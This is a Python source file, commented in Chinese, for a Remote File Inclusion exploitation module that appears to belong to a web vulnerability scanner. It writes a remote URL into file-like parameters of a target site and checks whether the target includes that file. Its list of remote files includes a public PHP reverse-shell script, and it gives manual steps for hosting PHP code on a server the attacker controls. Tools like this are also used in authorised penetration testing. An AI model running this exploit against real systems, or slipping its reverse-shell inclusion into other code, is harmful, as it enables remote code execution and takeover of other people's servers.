#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
RFI（远程文件包含）漏洞利用模块
"""

import logging
import re
import urllib.parse
import random
import string
import base64
import requests

logger = logging.getLogger('xss_scanner')

class RFIExploit:
    """RFI漏洞利用类"""
    
    def __init__(self, http_client):
        """
        初始化RFI漏洞利用模块
        
        Args:
            http_client: HTTP客户端对象
        """
        self.http_client = http_client
        
        # 远程测试文件URL列表
        self.remote_test_files = [
            "http://www.google.com/humans.txt",
            "https://www.bing.com/robots.txt",
            "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/phpinfo.php",
            "https://raw.githubusercontent.com/tennc/webshell/master/php/php-reverse-shell.php"
        ]
        
        # RFI测试代码片段
        self.test_code_snippets = [
            "<?php echo 'RFI_TEST_'.rand(1000,9999); ?>",
            "<?php echo md5('RFI_TEST'); ?>",
            "<?php echo base64_encode('RFI_TEST_'.time()); ?>",
            "<?php phpinfo(); ?>"
        ]
        
        # 远程测试代码的可能托管服务
        self.remote_code_hosts = [
            "https://pastebin.com/raw/",
            "https://gist.githubusercontent.com/raw/",
            "https://raw.githubusercontent.com/"
        ]
        
        # 常见参数名
        self.common_parameters = [
            "file", 
            "page", 
            "url", 
            "uri", 
            "path", 
            "filepath", 
            "load", 
            "include", 
            "require", 
            "doc",
            "document", 
            "folder", 
            "root", 
            "cont", 
            "content", 
            "layout",
            "mod", 
            "module", 
            "template"
        ]
        
    def exploit(self, vulnerability):
        """
        利用RFI漏洞
        
        Args:
            vulnerability: 漏洞信息
            
        Returns:
            dict: 利用结果
        """
        logger.info(f"尝试利用RFI漏洞: {vulnerability['url']}")
        
        url = vulnerability.get('url')
        parameter = vulnerability.get('parameter')
        payload = vulnerability.get('payload', '')
        
        if not url or not parameter:
            return {
                'success': False,
                'message': '缺少必要的漏洞信息(URL或参数名)',
                'data': None
            }
            
        # 尝试远程文件测试
        for remote_url in self.remote_test_files:
            result = self._try_remote_file(url, parameter, remote_url)
            if result and result['success']:
                return result
                
        # 生成随机标记用于验证
        verification_mark = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
        logger.info(f"生成验证标记: {verification_mark}")
        
        # 如果远程文件测试不成功，尝试创建一个自定义的远程测试文件
        # 实际应用中，需要一个可控的Web服务器来托管这些文件
        # 这里只是演示性代码
        test_code = f"<?php echo 'RFI_VERIFICATION_{verification_mark}'; ?>"
        
        # 返回结果
        # 注意：实际利用需要真实的远程服务器来托管恶意代码
        return {
            'success': False,
            'message': '在实际环境中，需要一个可控的远程Web服务器托管PHP代码来完成RFI漏洞利用',
            'data': {
                'verification_code': test_code,
                'parameter': parameter,
                'url': url
            },
            'poc': f"要验证RFI漏洞，请在你控制的Web服务器托管包含 '{test_code}' 的PHP文件，然后设置URL参数 {parameter}={{'你的PHP文件URL'}}",
            'manual_steps': [
                "1. 在你控制的Web服务器上创建一个PHP文件，内容为: " + test_code,
                "2. 确保该PHP文件可通过HTTP/HTTPS访问",
                f"3. 构造URL: {url}?{parameter}=http://your-server.com/your-file.php",
                f"4. 如果响应中包含 'RFI_VERIFICATION_{verification_mark}'，则确认存在RFI漏洞"
            ]
        }
        
    def _try_remote_file(self, url, parameter, remote_url):
        """
        尝试包含远程文件
        
        Args:
            url: 目标URL
            parameter: 参数名
            remote_url: 远程文件URL
            
        Returns:
            dict: 利用结果
        """
        try:
            logger.info(f"尝试包含远程文件: {remote_url}")
            
            # 构建RFI测试URL
            parsed_url = urllib.parse.urlparse(url)
            query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
            query_params[parameter] = remote_url
            
            # 重建查询字符串
            new_query = urllib.parse.urlencode(query_params)
            new_url = urllib.parse.urlunparse((
                parsed_url.scheme,
                parsed_url.netloc,
                parsed_url.path,
                parsed_url.params,
                new_query,
                parsed_url.fragment
            ))
            
            # 先获取远程文件内容，以便后续比较
            try:
                remote_response = requests.get(remote_url, timeout=5)
                if not remote_response.ok:
                    logger.warning(f"无法获取远程文件内容: {remote_url}")
                    return None
                    
                remote_content = remote_response.text
                logger.info(f"成功获取远程文件内容，长度: {len(remote_content)} 字节")
                
                # 获取远程文件的特征以便检测
                # 提取特征，最多50个字符
                feature_length = min(50, len(remote_content))
                if feature_length > 0:
                    remote_feature = remote_content[:feature_length]
                else:
                    logger.warning("远程文件内容为空")
                    return None
                    
            except Exception as e:
                logger.error(f"获取远程文件内容时出错: {str(e)}")
                return None
                
            # 发送包含请求
            response = self.http_client.get(new_url)
            
            # 检查响应是否包含远程文件内容
            if response and response.status_code == 200:
                # 检查响应中是否包含远程文件的特征
                if remote_feature and remote_feature in response.text:
                    logger.info(f"成功包含远程文件，发现特征: {remote_feature[:20]}...")
                    return {
                        'success': True,
                        'message': f'成功利用RFI漏洞包含远程文件: {remote_url}',
                        'data': {
                            'remote_url': remote_url,
                            'parameter': parameter,
                            'feature_found': remote_feature[:20] + ('...' if len(remote_feature) > 20 else '')
                        },
                        'poc': new_url
                    }
                elif "phpinfo" in remote_url.lower() and "PHP Version" in response.text and "PHP License" in response.text:
                    # 特殊检测: phpinfo()
                    logger.info("成功包含远程PHP文件，执行了phpinfo()")
                    return {
                        'success': True,
                        'message': '成功利用RFI漏洞包含远程PHP文件并执行了phpinfo()',
                        'data': {
                            'remote_url': remote_url,
                            'parameter': parameter,
                            'php_version': self._extract_php_version(response.text)
                        },
                        'poc': new_url
                    }
                elif "shell" in remote_url.lower() and "system" in response.text and "exec" in response.text:
                    # 特殊检测: 可能的webshell
                    logger.info("成功包含远程PHP文件，可能是webshell")
                    return {
                        'success': True,
                        'message': '成功利用RFI漏洞包含远程PHP文件(可能是webshell)',
                        'data': {
                            'remote_url': remote_url,
                            'parameter': parameter,
                            'warning': '检测到可能包含危险函数的代码'
                        },
                        'poc': new_url
                    }
                    
        except Exception as e:
            logger.error(f"尝试包含远程文件时出错: {str(e)}")
            
        return None
        
    def _extract_php_version(self, phpinfo_output):
        """
        从phpinfo()输出中提取PHP版本
        
        Args:
            phpinfo_output: phpinfo()函数的输出
            
        Returns:
            str: PHP版本
        """
        # 尝试提取PHP版本
        version_match = re.search(r"PHP Version[\s]*[=>]*[\s]*([0-9.]+)", phpinfo_output)
        if version_match:
            return version_match.group(1)
        return "未知"
        
    def _create_remote_test_file(self, test_code):
        """
        创建远程测试文件
        
        Args:
            test_code: 测试代码
            
        Returns:
            str: 远程文件URL
        """
        # 在实际应用中，这个函数应该将测试代码上传到可控的Web服务器
        # 并返回可访问的URL
        # 这里仅作为演示，返回一个假的URL
        logger.warning("创建远程测试文件功能需要实际的Web服务器支持")
        return "http://example.com/test_rfi.php" 